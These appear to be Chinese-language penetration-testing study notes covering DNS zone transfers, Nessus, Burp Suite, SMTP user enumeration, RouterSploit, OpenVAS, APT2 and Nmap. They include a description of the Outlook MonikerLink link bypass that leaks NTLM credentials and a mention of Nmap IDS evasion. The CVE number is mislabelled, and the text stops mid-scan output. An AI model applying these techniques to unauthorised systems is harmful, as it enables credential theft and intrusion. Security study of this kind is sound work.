---
# System prepended metadata

title: 滲透測試分享

---

# 2024/02/20 DNS查詢

https://ithelp.ithome.com.tw/articles/10214674

![image](https://hackmd.io/_uploads/HkXrStb3a.png)
![image](https://hackmd.io/_uploads/HJGvBKWhT.png)
![image](https://hackmd.io/_uploads/ByN_Ht-3a.png)
![image](https://hackmd.io/_uploads/ry8YBtbnT.png)
![image](https://hackmd.io/_uploads/HJ7w9Yb26.png)

DNS區域傳輸（AXFR）是DNS伺服器之間用於複製整個區域數據的一種機制。這對於確保DNS資料的一致性和冗餘非常重要。AXFR允許一個次級（備份）DNS伺服器從主DNS伺服器那裡獲取完整的區域資料。然而，如果沒有適當的安全措施，這可能會導致敏感信息的洩露。攻擊者可以利用AXFR查詢來獲取一個域的所有記錄，包括網絡拓撲、伺服器位置和其他敏感資訊


# 2024/2/21 dnsmap & Nessus

使用目的：
當 AXFR 顯示 Transfer Failed ，而無法蒐集到目標相關資料時，可以使用 dnsmap 域名暴力枚舉工具，雖然利用 dnsmap 能得到的資訊並沒有比使用Zone Transfer多，但在大部份公司懂得保護 DNS Server的情況下一些微小的資訊也可能成為突破的入口。
內建清單可根據關鍵字查找sub domain相關的資料，例如：staging、email、www等等。


![image](https://hackmd.io/_uploads/HJ0OGRbna.png)

![image](https://hackmd.io/_uploads/rJ45GAWnT.png)

獲取這些資訊可做那些後續規劃：


![image](https://hackmd.io/_uploads/Skmpcyfha.png)
![image](https://hackmd.io/_uploads/HyJIpyz3a.png)



# 2024/2/22 Nessus

Nessus 漏洞的嚴重性是根據 CVSSv2 和 CVSSv3 ，以下為評分標準，當 CVSSv2 的嚴重性為高，而CVSSv3嚴重性為危及，則會以 CVSSv3 為主要判斷依據。
![image](https://hackmd.io/_uploads/HJ7yEAG3T.png)

![image](https://hackmd.io/_uploads/S13fABXnT.png)
風險因素：中等
CVSS v3.0基本分數：6.5
CVSS v3.0向量：CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N
CVSS v2.0基本分數：6.1
CVSS v2.0向量：AV:N/AC:H/Au:N/C:C/I:P/A:N
CVSS v3.0向量詳細信息解釋如下：

AV:N (攻擊向量：網絡)：漏洞可以通過網絡攻擊。
AC:H (攻擊複雜度：高)：利用這個漏洞所需的條件比較複雜。
PR:N (權限要求：無)：攻擊者不需要任何特權即可利用這個漏洞。
UI:N (用戶交互：無)：漏洞利用不需要用戶交互。
S:U (範圍：未改變)：漏洞沒有影響到系統以外的部分。
C:H (機密性影響：高)：漏洞可能會導致受影響系統的機密性受到高度影響。
I:L (完整性影響：低)：漏洞可能會導致受影響系統的完整性受到低度影響。
A:N (可用性影響：無)：漏洞不影響受影響系統的可用性。
CVSS v2.0向量詳細信息解釋如下：

AV:N (攻擊向量：網絡)：漏洞可以通過網絡攻擊。
AC:H (攻擊複雜度：高)：利用這個漏洞所需的條件比較複雜。
Au:N (身份驗證：無)：攻擊者不需要任何身份驗證即可利用這個漏洞。
C:C (機密性影響：完全)：漏洞可能會導致受影響系統的機密性受到完全影響。
I:P (完整性影響：部分)：漏洞可能會導致受影響系統的完整性受到部分影響。
A:N (可用性影響：無)：漏洞不影響受影響系統的可用性。




使用 Nessus 進行漏洞掃描，主要功能包含：
1. 漏洞掃描：掃描網路上的各種設備和應用程式，識別可能存在的安全漏洞。
2. 合規性檢查：檢查系統是否符合特定的安全合規性標準和政策要求。
3. 漏洞報告：生成詳細的漏洞報告，包括漏洞描述、風險評估和建議的解決方案。
4. 資產管理：幫助組織管理其網路資產，包括發現新設備、跟蹤資產變更等功能。
5. 漏洞修復建議：提供針對發現的漏洞的修復建議，幫助用戶解決安全問題。

特性
* 有許多插件可以使用
* 更新速度弱點特徵碼的速度很快
* 有自己的弱點資料庫
* 可以針對多主機、網段進行掃描

缺點：
弱點掃描缺點: 
1.只能測試已知漏洞，如果有新的漏洞還未被發現或者還未被添加到工具的數據庫中，這些漏洞在掃描過程中將不會被檢測出來。
2.會受到掃描環境的網路影響，：弱點掃描的結果可能會因網絡條件（如防火牆、網絡篩選規則、IDS/IPS系統等）而受到影響。這些安全措施可能會阻止掃描工具訪問特定的端口或服務，從而影響掃描的準確性和完整性。

![image](https://hackmd.io/_uploads/Bkuobr7ha.png)
以下是幾種常見且常用的電腦安全掃描類型：

Host Discovery: 用於發現在網絡上活動的主機和開放的端口，通常是安全掃描的第一步。

Basic Network Scan: 這是一個全面的掃描，適用於任何主機，用來識別網絡中的潛在安全問題。

Malware Scan: 掃描系統中可能存在的惡意軟體，是維護網路衛生的重要一環。

Credentialed Patch Audit: 這種審計要求有系統訪問權限，用以檢查系統是否缺少安全更新和補丁。

Web Application Tests: 對網頁應用程序進行安全測試，尋找可能被攻擊者利用的漏洞。

Spectre and Meltdown 和 WannaCry Ransomware: 針對特定著名漏洞的掃描，這些漏洞曾引起廣泛的安全關注。

Ransomware Ecosystem: 針對勒索軟體相關漏洞的掃描，因為勒索軟件攻擊對企業和組織構成了重大威脅。

------------------
Host Discovery: 主機發現
一個簡單的掃描，用來發現活動中的主機和開放的端口。

Basic Network Scan: 基本網絡掃描
適用於任何主機的完整系統掃描。

Advanced Scan: 進階掃描
配置一個掃描，不使用任何推薦設定。

Advanced Dynamic Scan: 進階動態掃描
配置一個動態插件掃描，不使用推薦設定。

Malware Scan: 惡意軟件掃描
掃描Windows和Unix系統中的惡意軟件。

Mobile Device Scan: 移動裝置掃描
通過Microsoft Exchange或MDM評估移動裝置。

Web Application Tests: 網頁應用程序測試
掃描已知和未知的公開及Nessus Scanner私有的網絡漏洞。

Credentialed Patch Audit: 憑證補丁審計
驗證主機並列舉缺失的更新。

Intel AMT Security Bypass: Intel AMT安全繞過
遠程和本地檢查CVE-2017-5689。

Active Directory Starter Scan: Active Directory入門掃描
搜索Active Directory中的錯誤配置。

Spectre and Meltdown: Spectre和Meltdown
遠程和本地檢查CVE-2017-5753, CVE-2017-5715, 和CVE-2017-5754。

WannaCry Ransomware: WannaCry勒索軟件
遠程和本地檢查MS17-010。

Ripple20 Remote Scan: Ripple20遠程掃描
遠程掃描，以指紋識別可能運行Treck堆棧的主機。

ZeroLogon Remote Scan: ZeroLogon遠程掃描
遠程掃描，以檢測Microsoft Netlogon提升權限漏洞（ZeroLogon）。

Solarigate: Solarigate
遠程和本地檢查以發現SolarWinds Solarigate漏洞。

ProxyLogon: MS Exchange: ProxyLogon：MS Exchange
遠程和本地檢查以發現Exchange漏洞，這些漏洞被HAFNIUM針對。

PrintNightmare: PrintNightmare
本地檢查以發現PrintNightmare漏洞，在Windows Print Spooler中。

Ransomware Ecosystem: 勒索軟件生態系統
由勒索軟件團體及其聯屬者使用的漏洞。

2022 Threat Landscape Report (TLR): 2022威脅環境報告(TLR)
掃描以發現在年度報告中特色的漏洞。

Audit Cloud Infrastructure: 審計雲基礎設施
審計第三方雲服務的配置。

Internal PCI Network Scan: 內部PCI網絡掃描
執行內部PCI DSS（11.2.1）漏洞掃描。

MDM Config Audit: MDM配置審計
審計移動裝置管理器的配置。

Offline Config Audit: 離線配置審計
審計網絡裝置的配置。

PCI Quarterly External Scan: PCI季度外部掃描
經批准的對外部掃描，如PCI所要求。

Policy Compliance Auditing: 政策合規性審計
根據已知基準審計系統配置。

SCAP and OVAL Auditing: SCAP和OVAL審計
使用SCAP和OVAL定義審計系統

-------------------------------

# 2024/2/23 CVE-2014-21413
Microsoft Outlook 終端執行程式碼缺陷

CVE-2014-21413

發行日期： 2024年2月13日


影響: 遠端執行程式碼

最大嚴重性: 重大

嚴重程度: 9.8

Outlook 上的超連結行為
如果超連結以「http://」或「https://」開頭- ，這是一個Web鏈接，Outlook 會啟動Windows 上的（預設）瀏覽器並打開 Web URL。

除了http/https之外的其他協議。如果連結字串以典型的應用程式 URL 協定開頭，Outlook 認為該 URL 協定可能存在一些安全性問題，例如「Skype」URL 協議，如下（在 HTML 電子郵件中）：

![image](https://hackmd.io/_uploads/SyGxhcNha.png)


當我們點擊該連結時，會出現一個警告對話框，警告我們該連結開啟可能不安全。

![image](https://hackmd.io/_uploads/B1W10cN36.png)

圖 1 – 當使用者點擊第三方 URL 協定超連結時，Outlook 會發出警告

換常見的「file://」協定。我們首先使用以下協定進行測試，使用協定指向遠端 Word 檔案（如果想重現測試，請將 IP 位址替換為您自己的 IP 位址）。

![image](https://hackmd.io/_uploads/SJOz2qN3a.png)

當我們點擊超連結時，沒有像之前的「Skype」URL協定那樣出現警告對話框。但是，Windows 通知中心向使用者顯示了一條錯誤訊息。並且遠端“test.rtf”檔案確實沒有被存取。Windows 通知中心區域中的錯誤訊息如下所示：

![image](https://hackmd.io/_uploads/B1DE3c42p.png)

圖 2 – 當使用者按一下指向遠端檔案的典型超連結時，Outlook 顯示錯誤訊息

這是合理的並且有利於安全。因為，如果 Outlook 允許使用者存取遠端文件，至少本機 NTLM 憑證資訊會被洩露，因為存取遠端資源將透過 SMB 協議，而 SMB 協定將使用本機憑證進行驗證。

#MonikerLink 錯誤
如果我們對上面的連結做一點小小的修改，例如修改為下面的。

![image](https://hackmd.io/_uploads/SJjPhqNh6.png)

添加了一個“！” 在「test.rtf」的結尾，也加入了一些隨機字元「something」。

這樣的連結將繞過前面討論的現有 Outlook 安全限制，當使用者點擊該連結時，Outlook 將繼續存取遠端資源「\\10.10.111.111\test\test.rtf」。

這裡的關鍵點是驚嘆號“！”，它改變了 Outlook 的行為。

該錯誤的影響
1、洩漏本地NTLM憑證訊息
可以觀察到，嘗試存取遠端「test.rtf」將使用 SMB 協定（連接埠 445），並且在此過程中會洩漏本機 NTLM 憑證資訊。這與許多其他 NTLM 憑證外洩技巧的過程相同。

![image](https://hackmd.io/_uploads/Hy1Th5V3T.png)

圖 3 – #MonikerLink 被利用為錯誤時洩漏的 NTLM 憑證資訊

# 2024/2/26 Burp Suite
![image](https://hackmd.io/_uploads/S1IEvXvnT.png)
Burp Suite是一款由PortSwigger Web Security開發的整合式網路安全測試軟體，廣泛用於測試網頁應用程序的安全性。它包含多個工具，這些工具協同工作，幫助安全專家進行滲透測試和識別安全漏洞。Burp Suite的主要功能包括攔截代理、應用程序爬蟲和掃描器、重播器、攻擊者和各種工具，用於分析和操縱HTTP請求和響應


**優點**
全面性：Burp Suite 提供從攔截代理到自動掃描、漏洞利用等一系列全面的功能，涵蓋了Web應用安全測試的各個階段。這使得安全專家能夠在一個集成的環境中完成所有工作。

靈活性和定制性：用戶可以通過配置選項、自定義腳本和插件來擴展Burp Suite 的功能，使其能夠適應各種不同的測試需求和環境。

強大的社區和插件生態：Burp Suite 擁有一個活躍的用戶和開發者社區，不斷有新的插件和工具被開發出來，這些插件可以直接集成到Burp Suite 中，進一步擴展其功能。

專業支持和教育資源：PortSwigger 提供了詳細的文檔、教程和Web安全學院，這對於新用戶學習如何使用Burp Suite 和提高安全測試技能非常有幫助。

實時分析和測試：Burp Suite 的即時數據攔截和分析功能，讓測試人員能夠立即看到他們行動的影響，並快速調整測試策略。

**缺點**
學習曲線：對於初學者來說，Burp Suite 豐富的功能和複雜的配置選項可能會令人望而卻步。學習如何有效地使用所有功能需要時間和實踐。

性能問題：在處理大型應用或執行大規模掃描時，Burp Suite 可能會消耗大量的系統資源，導致性能下降。這可能需要更強大的硬件或優化配置。

成本：雖然Burp Suite 提供了免費版，但專業版的高級功能需要付費。對於個人開發者或小型組織來說，成本可能是一個考慮因素。

更新和維護：雖然經常更新以引入新功能和修復漏洞，但用戶需要定期更新軟體以確保使用的是最新版本，對於一些需要穩定環境的用戶來說，這可能會帶來不便。


----------------
功能:
攔截代理（Proxy）：允許用戶攔截、查看和修改從瀏覽器發送到Web應用程序的HTTP/HTTPS請求和響應。這對於理解應用程序如何工作和識別潛在的輸入點至關重要。

爬蟲（Spider）：自動映射Web應用程序的結構，識別可用於測試的不同點。這有助於快速瞭解應用程序的布局和潛在的攻擊面。

掃描器（Scanner）：自動檢測Web應用程序中的安全漏洞。它可以識別多種類型的漏洞，包括SQL注入、跨站腳本（XSS）、文件包含等。

Intruder（入侵者）：一種強大的工具，用於進行自動化和定制的攻擊以識別應用程序中的脆弱點。用戶可以配置請求的各種方面，以測試應用程序對特定類型攻擊的抵抗力。

Repeater（重放器）：允許手動修改和重發HTTP/HTTPS請求，並查看應用程序的響應。這對於深入分析特定問題和確定漏洞的影響非常有用。

Sequencer（序列分析器）：用於測試Web應用程序中用於關鍵操作（如會話標識）的令牌或Cookie的隨機性和熵值。

Decoder（解碼器）：允許用戶對編碼的數據進行解碼和修改。這對於處理編碼的HTTP請求、響應和數據非常有用。

Comparer（比較器）：用於比較兩個請求或響應的不同之處。這對於識別安全問題的根本原因和理解應用程序行為非常有幫助。

Extender（擴展器）：允許用戶安裝和運行自定義插件，這些插件可以擴展Burp Suite的功能。社區和第三方開發的插件能夠使Burp Suite應對更多種類的測試場景和安全需求。

Project options（項目選項）和User options（用戶選項）：提供豐富的配置選項，讓用戶可以根據自己的需求和偏好來調整Burp Suite的工作方式。

Session Handling Rules（會話處理規則）：允許用戶定義複雜的規則，以自動管理Web應用的會話和身份驗證機制。這對於測試需要身份驗證或會話管理的應用程序非常有用。

Collaborator client（合作客戶端）：一種外部服務，用於識別盲注漏洞等難以發現的安全問題。它可以幫助測試人員發現和驗證外部交互的漏洞。

-------------
Burp Suite不僅適用於測試Web應用的安全性，也是學習和實踐Web安全概念的絕佳工具。隨著網絡安全威脅的日益增加，掌握如Burp Suite這樣的工具，對於保護Web應用和網絡環境免受攻擊至關重要。






# 2024/2/27 VRFY & EXPN
VRFY和EXPN是SMTP協議的兩個命令，它們通常用於在SMTP伺服器上驗證使用者的是否存在和擴展郵件列表。但是，它們經常被認為是安全風險，因為它們可以被惡意使用者利用來執行使用者枚舉和信息收集攻擊。

VRFY命令：VRFY命令用於驗證指定使用者是否存在於SMTP伺服器上。攻擊者可以使用VRFY命令來逐個驗證使用者的是否存在，如果有效，則會傳回收件者的完整名稱及完整信箱。從而收集有效的使用者帳戶信息。這種使用者枚舉攻擊可能導致安全風險，因為攻擊者可以利用這些信息進行更深入的攻擊，例如嘗試密碼猜測、釣魚攻擊、社交工程攻擊。



EXPN命令：EXPN命令用於擴展郵件列表，通常用於查看郵件列表中的成員。攻擊者可以使用EXP命令來收集有效的郵件地址，這可能包括內部員工或系統使用者的郵件地址。這種信息收集攻擊可能導致安全風險，因為攻擊者可以利用這些郵件地址來進行釣魚攻擊、社會工程攻擊或其他形式的網絡攻擊。


綜上所述，雖然VRFY和EXPN命令本身不是漏洞，但它們經常被惡意使用者用來執行使用者枚舉和信息收集攻擊，從而可能導致安全風險。因此，為了減少潛在的風險，許多組織選擇在SMTP伺服器上禁用或限制VRFY和EXPN命令的使用。

![image](https://hackmd.io/_uploads/SJHynk9n6.png)

![image](https://hackmd.io/_uploads/HJdDnyqh6.png)

1. 目錄掃描（Directory Harvest Attack, DHA）
目錄掃描（Directory Harvest Attack, DHA）是一種針對電子郵件系統的攻擊手法，攻擊者的目的是獲取大量有效的郵箱地址。這種攻擊通常利用自動化工具向目標郵件伺服器發送一系列的郵箱查詢請求，這些請求可能包括猜測的郵箱地址或是利用常見的名字、姓氏組合生成的郵箱列表。攻擊者根據郵件伺服器對這些查詢的響應來判斷哪些郵箱地址是有效的。

2. 逆向郵件列表探查
利用EXPN命令，攻擊者可以獲取郵件列表中所有成員的郵箱地址。這不僅揭露了參與郵件列表的個人或組織資訊，也可能被用來進一步的目標攻擊或資訊收集。

3. 釣魚和社會工程學攻擊
攻擊者通過收集到的郵箱地址發送釣魚郵件，這些郵件偽裝成來自可信來源的正當通訊，鼓勵收件人點擊惡意連結或附件。這些攻擊利用了用戶對似乎來自合法來源的郵件的信任，以竊取個人資訊或傳播惡意軟體。

4. 垃圾郵件發送
獲取了有效郵箱地址後，攻擊者可以利用這些資訊大規模發送垃圾郵件，這些郵件可能包含廣告、詐騙訊息、或惡意軟體。這不僅干擾了用戶的郵件體驗，還可能對郵件系統的性能和信譽造成影響。

防範措施
針對這些攻擊，組織和郵件系統管理員可以採取多種防範措施，包括：

禁用或限制VRFY和EXPN命令的使用。
* 實施複雜度較高的郵箱地址策略，使地址難以被猜測。
* 使用郵件過濾和反垃圾郵件技術來檢測和阻擋惡意郵件。
* 對用戶進行安全意識教育，提高對釣魚攻擊和垃圾郵件的識別能力。
* 監控和分析郵件流量，以及時發現和應對可疑活動。
* 通過這些方法，可以在一定程度上減輕郵件系統面臨的安全威脅。
# 2024/2/29 RouterSploit


前言
RouterSploit 是一個開源的路由器測試框架，用於測試路由器的安全性。它包含了各種用於測試路由器漏洞的模組，可以用於掃描、發現和利用路由器上的漏洞。RouterSploit 可以用於測試路由器的弱點，以幫助提高路由器的安全性。

本次測試介紹：

本次使用模組為 scanners/routers/router_scan，用於發現和評估路由器的漏洞和弱點。這個命令可以讓您使用 routersploit 的功能來執行針對路由器的安全測試。

scanners/routers/router_scan 模組主要用於掃描路由器的漏洞和弱點，通常包括以下方面：

1.漏洞掃描：掃描路由器上已知的漏洞，包括但不限於預設密碼、弱密碼、漏洞利用等。
2.服務掃描：檢測路由器上運行的服務和開放的端口，例如 Telnet、SSH、HTTP 等。
3.系統信息掃描：獲取路由器的系統信息，如型號、版本號、操作系統等。
4.密碼爆破：對路由器的管理界面進行密碼爆破，以測試弱密碼是否存在。
5.漏洞利用：利用已知的漏洞對路由器進行攻擊，以測試其安全性。

本次檢測目標為 NAS 29
![image](https://hackmd.io/_uploads/HJPCImoh6.png)

Themoon RCE（The Moon Remote Code Execution）漏洞是一個影響 Linksys E 系列路由器的漏洞，使得攻擊者可以通過遠程方式執行代碼（Remote Code Execution）。這個漏洞的嚴重性在於攻擊者可以通過利用漏洞來遠程控制受影響的路由器，從而對路由器進行攻擊或進一步入侵路由器所在的網絡。

如何防範

1.更新套件： 檢查路由器廠商的官方網站，確保您的路由器運行的是最新的套件版本。製造商通常會在發現漏洞後釋出修補程序。

2.強化密碼： 確保您的路由器管理界面使用了強大的密碼，並且不要使用預設密碼。

3.網絡分割： 如果可能，將您的網絡分割成多個區域，以限制攻擊者在成功入侵一部分網絡後對整個網絡的影響。

4.啟用防火牆： 使用防火牆來監控和控制流量，以防止攻擊者通過路由器的漏洞進入您的網絡。

5.網絡監控： 定期監控您的網絡流量和設備日誌，以檢測可能的攻擊行為。

6.遠程訪問： 如果不需要，請禁用遠程訪問路由器的功能，以減少遭受遠程攻擊的風險。



# 2024/3/1 OpenVAS

OpenVAS(Open Vulnerability Assessment System)是一套開放原始碼(Open Source)軟體的弱點掃描檢測工具，這個工具可以不斷從(NVT、SCAP、CERT)更新弱點測試資料庫，針對已知的漏洞及弱點對整個網路進行掃描，幫助使用者找出目前使用或管理的主機系統是否存在可能被攻擊的系統或程式漏洞，提供可能的解決方法，也可排程定期掃描並且產出PDF、HTML等格式的報表

![image](https://hackmd.io/_uploads/rJKriT63a.png)


實際上的 OpenVAS 架構拆分為三個專案，分別是：

Open Vulnerability Assessment Scanner (OpenVAS)
做為漏洞掃描引擎，提供對網路裝置的漏洞檢測以及漏洞資料庫更新。

Greenbone Vulnerability Manager (GVM)
做為整個框架的管理中心，管理掃描引擎與檢測結果的資料，以及指令傳遞與作業流程安排。

Greenbone Security Assistant (GSA)
提供網頁操作介面，它與 GVM 連接，提供使用者全功能的 OpenVAS 功能操作。

## OpenVAS 的優勢

### 開源

OpenVAS 是開源軟體，這意味著任何人都可以免費使用它，並且可以查看和修改其原始程式碼。 這使得 OpenVAS 更加透明，使用戶可以更好地理解其內部工作原理，並且可以自由地自訂和改進它的功能。

### 多平台支持

OpenVAS 可以在多個平台上運行，包括 Linux、Windows 和 macOS。 這使得 OpenVAS 更加靈活，並且可以滿足不同使用者在不同平台上的需求。

### 漏洞偵測插件

OpenVAS 包含大量的漏洞偵測插件，可以偵測多種類型的漏洞，包括網路協定漏洞、Web 應用程式漏洞、資料庫漏洞等。 這些插件的更新速度快，可以及時識別和評估新發現的漏洞。

### 客製化掃描

OpenVAS 具有高度可自訂的掃描選項，可透過修改掃描策略和參數，對目標進行深入的漏洞檢測。 這使得用戶可以根據具體需求進行客製化掃描，以便更好地滿足其安全需求。

### 報告生成

OpenVAS 可以產生詳細的報告，包括漏洞描述、風險評估、修復建議等資訊。 這些報告可以幫助使用者更好地理解漏洞的性質和影響，並且可以提供幫助使用者制定修復計劃的建議。

## OpenVAS 的劣勢

### 假陽性和假陰性

OpenVAS 存在假陽性和假陰性的問題，即在某些情況下，它會識別不存在的漏洞，或沒有識別出真正存在的漏洞。 這可能會給用戶帶來困擾，並導致用戶忽略真正的漏洞。

### 配置複雜

OpenVAS 的配置相對複雜，需要一定的技術能力和經驗才能正確地配置和使用。 這可能會限制一些用戶的使用和應用。

### 掃描速度慢

OpenVAS 的掃描速度相對較慢，尤其是在掃描大型網路時。 這可能會使用戶花費更長的時間來完成掃描，從而影響用戶的工作效率。

### 漏洞檢測不全面

儘管 OpenVAS 包含了大量的漏洞偵測插件，但仍無法保證能夠偵測到所有的漏洞。 因此，用戶需要使用其他工具和方法來進行全面的漏洞檢測。

![image](https://hackmd.io/_uploads/rJpDiC6na.png)
![image](https://hackmd.io/_uploads/ByyanATn6.png)






# 2024/3/4 APT2
APT2（自動化滲透測試工具）是一個開源的自動化滲透測試工具，幫助安全專業人員進行網絡和應用程序滲透測試。它提供了一套強大的功能，包括目標識別、漏洞掃描、利用、報告生成等，使滲透測試工作更加高效和簡便。

以下是APT2的一些主要特點和功能：

模組化架構：APT2使用模組化的架構，允許用戶根據需要選擇和配置不同的模組。這些模組涵蓋了目標識別、漏洞掃描、利用、權限提升等方面的功能。

多種掃描工具：APT2整合了許多常用的滲透測試工具，包括Nmap、Metasploit、Nessus、Burp Suite等，使用戶能夠方便地執行各種掃描和測試任務。

自定義插件：用戶可以編寫自定義插件來擴展APT2的功能。這些插件可以用於執行特定的任務或與其他工具集成，以滿足用戶特定的需求。

報告生成：APT2可以生成詳細的滲透測試報告，包括發現的漏洞、利用情況、風險評估等信息。報告可以導出為各種格式，如HTML、PDF等。

自動化任務：APT2支持自動化任務執行，用戶可以預先配置任務並定期執行，從而實現持續的安全測試和監控。

簡單易用：APT2提供了簡單易用的命令行界面，使用戶能夠快速上手並執行滲透測試任務。

APT2是一款功能強大、靈活性高的自動化滲透測試工具，適用於各種大小的組織和安全團隊。它提供了一套完整的工具集，可以幫助用戶快速識別和解決網絡和應用程序的安全問題，提高系統的安全性和穩定性。


編輯設定檔，根據您的滲透測試需求填寫相應的資訊。以下是一些您可能需要配置的常見選項：

1. **targets**：在 `targets` 部分中，您可以指定要掃描的目標。您可以指定單個IP位址、功能變數名稱或CIDR範圍。示例：

   ```yaml
   targets:
     - 192.168.1.1
     - example.com
     - 10.0.0.0/24
   ```

2. **modules**：在 `modules` 部分中，您可以配置要執行的模組。模組包括目標識別、漏洞掃描、利用、許可權提升等。您可以根據需要啟用或禁用模組。示例：

   ```yaml
   modules:
     discovery:
       - nmap
     scanner:
       - nessus
     exploitation:
       - metasploit
   ```

3. **options**：在 `options` 部分中，您可以配置各種選項和參數，如掃描策略、埠範圍、外掛程式設置等。示例：

   ```yaml
   options:
     scan_strategy: aggressive
     ports: 1-65535
     plugins:
       - http: true
       - smb: true
   ```

4. **reporting**：在 `reporting` 部分中，您可以配置報告生成選項，如報告格式、輸出目錄等。示例：

   ```yaml
   reporting:
     format: html
     output_dir: /path/to/reports
   ```

5. **credentials**：在 `credentials` 部分中，您可以指定用於認證和許可權提升的憑據資訊。示例：

   ```yaml
   credentials:
     - username: admin
       password: password123
       service: ssh
   ```

根據具體情況填寫資訊，並保存設定檔文件。一旦您填寫了設定檔，就可以使用APT2運行滲透測試任務了。



# 2024/3/5  Zenmap
Zenmap是一個用於網路掃描和主機發現的圖形化介面。它是Nmap的一個前端，Nmap是一個強大的開源網路掃描工具，用於發現網路上的主機和服務。Zenmap提供了一個易於使用的界面，讓使用者可以通過圖形化的方式設置和執行掃描，同時也提供了Nmap的所有功能和選項。Zenmap還可以生成漂亮的圖形化地圖，顯示網路上的主機和其相互之間的關係。

掃描後可看到那些資訊：
1.主機的IP地址和主機名稱。
2.主機上運行的開放端口和相應的服務。
![image](https://hackmd.io/_uploads/Bk7AwGQa6.png)

3.每個開放端口的服務版本信息。
![image](https://hackmd.io/_uploads/SyNyvfQpp.png)

4.主機的操作系統猜測。
![image](https://hackmd.io/_uploads/SJUbOf7aa.png)

5.網路拓撲圖，顯示主機之間的關係。
![image](https://hackmd.io/_uploads/Sk0BOfXap.png)

6.可能的漏洞和安全問題。

Zenmap的優勢：

1.易於使用：Zenmap提供了直觀的圖形化界面，使得使用者可以輕鬆地設置和執行網路掃描，而不需要熟悉Nmap的命令行參數。

2.全面的功能：Zenmap提供了Nmap的所有功能和選項，使得使用者可以進行各種類型的網路掃描，包括主機發現、端口掃描、操作系統猜測等。

3.可視化的結果：Zenmap可以生成漂亮的圖形化地圖，顯示網路上的主機和其相互之間的關係，有助於使用者更直觀地了解網路拓撲。

4.漏洞掃描和安全評估：Zenmap可以通過Nmap的腳本引擎進行漏洞掃描和安全評估，幫助使用者發現網路上的安全問題並提供相應的建議。

5.跨平台：Zenmap可以在多個操作系統上運行，包括Windows、Mac OS和Linux，使得使用者可以在不同平台上使用相同的工具。



Zenmap的劣勢包括：

1.學習曲線：儘管Zenmap提供了圖形化界面，但對於沒有網路掃描經驗的新手來說，仍然需要一定的學習時間，特別是理解Nmap的各種掃描選項和功能。

2.效率較低：與使用Nmap命令行相比，使用Zenmap進行掃描可能會稍微慢一些，因為圖形化界面會增加一些額外的處理和顯示負擔。

3.不支援所有Nmap功能：雖然Zenmap提供了大部分Nmap的功能和選項，但仍然存在某些高級功能或特殊情況下的功能不支援的情況。

4.界面設計可能不夠直觀：對於一些使用者來說，Zenmap的界面設計可能不夠直觀，特別是對於需要深入定製掃描選項的高級使用者。

5.依賴於Nmap的更新：Zenmap的功能和漏洞庫取決於Nmap的版本和更新，如果Nmap沒有及時更新，可能會影響到Zenmap的功能和準確性。

intense scan ：全面性端口掃描

Quick scan：掃描常用端口





# 2024/3/7 Nmap

Nmap是一款用於網路發現和安全審計的網路安全工具，在其首次釋出後的前幾年之間是Open Source。Nmap是Network Mapper的簡稱。通常情況下，Nmap用於：

* 列舉網路主機清單
* 管理服務升級排程
* 監視主機
* 服務執行狀況

Nmap可以檢測目標主機是否線上、Port開放情況、偵測執行的服務類型及版本資訊、偵測作業系統與裝置類型等資訊。


**Nmap 核心功能**
主機發現
此功能用於確認目標網路中哪些主機是活動的，類似於傳統的Ping命令。Nmap通過發送不同類型的網絡請求（如TCP、ICMP等）來檢測網路中的活動主機，這使得它能夠更有效地識別出哪些主機正在運行。

**Port掃描**
Nmap透過Port掃描來檢測目標主機上的網路服務狀態。它可以識別出哪些Port是開放的、哪些是關閉的，以及哪些可能被防火牆或過濾系統所過濾。這對於網路安全評估和弱點探測非常有用。

**版本偵測**
這一功能允許Nmap探測網路服務的應用程式及其版本信息，使安全研究員和網絡管理員能夠識別潛在的已知軟體漏洞。Nmap通過比對應用程式的簽章來進行識別，對於未知應用，它還可以輸出應用的指紋(Fingerprint)供進一步分析。

**作業系統偵測**
Nmap能夠識別目標主機運行的作業系統類型、版本以及裝置類型。這通過分析從目標主機收集到的網絡響應來實現，幫助了解網絡環境中存在的各種裝置。

**防火牆/IDS規避和哄騙**
Nmap提供多種機制來規避防火牆、IDS的的封鎖和檢查，便於秘密地探查目標主機的狀況。
基本的規避方式包括：封包分片、IP誘騙、IP偽裝、MAC位址偽裝。

**NSE指令碼引擎**
NSE是Nmap最強大最靈活的特性之一，可以用於增強主機發現、埠掃描、版本偵測和作業系統偵測等功能，還可以用來擴充進階的功能如web掃描、漏洞發現和漏洞利用等。

**結論**
Nmap 常被跟評估系統漏洞軟體Nessus混為一談。Nmap 以隱祕的手法，避開入侵檢測系統的監視，並儘可能不影響目標系統的日常操作。


基本指令：

* 全方位掃描（包括Host Discovery、Port掃描、Port服務版本掃描、OS類型掃描及預設指令碼掃描）
**nmap -A target_ip
-A選項結合了多種掃描技術來提供詳細的目標資訊。具體來說，-A選項會啟用以下功能：

* 操作系統檢測（OS detection）：嘗試識別遠程主機上運行的操作系統。
* 版本檢測（Version detection）：對遠程主機上的服務進行版本檢測，試圖確定開放端口上運行的應用程序的名稱和版本。
* 腳本掃描（Script scanning）：使用Nmap腳本引擎（NSE）來執行對特定服務的進階檢測，這可以揭示更多的配置細節和潛在的安全問題。
* traceroute：追蹤數據包從掃描主機到目標主機之間的路徑。

舉例：
nmap -A 192.168.1.29

┌──(user㉿kali)-[~]
└─$ nmap -A 192.168.1.29
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-06 14:01 CST
Nmap scan report for ad2019 (192.168.1.29)
Host is up (0.00041s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 d2:79:d8:c5:ba:29:52:d8:b0:7a:54:24:53:0a:24:5b (RSA)
|   256 0a:36:3f:b6:74:79:bf:ea: de:4d:94:75:51:38:55:cd (ECDSA)
|_  256 11:3a:c9:18:98:c2:0c:dc:86:ea:fd:34:83:a5:bd:85 (ED25519)
80/tcp   open  http        nginx
|_http-title: Did not follow redirect to http://ad2019:5000/
111/tcp  open  rpcbind     2-4 (RPC #100000)
|_rpcinfo: ERROR: Script execution failed (use -d to debug)
139/tcp  open  netbios-ssn Samba smbd 4.6.2
443/tcp  open  ssl/http    nginx
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1
|_http-title: Did not follow redirect to https://ad2019:5001/
| ssl-cert: Subject: commonName=synology/organizationName=Synology Inc./countryName=TW
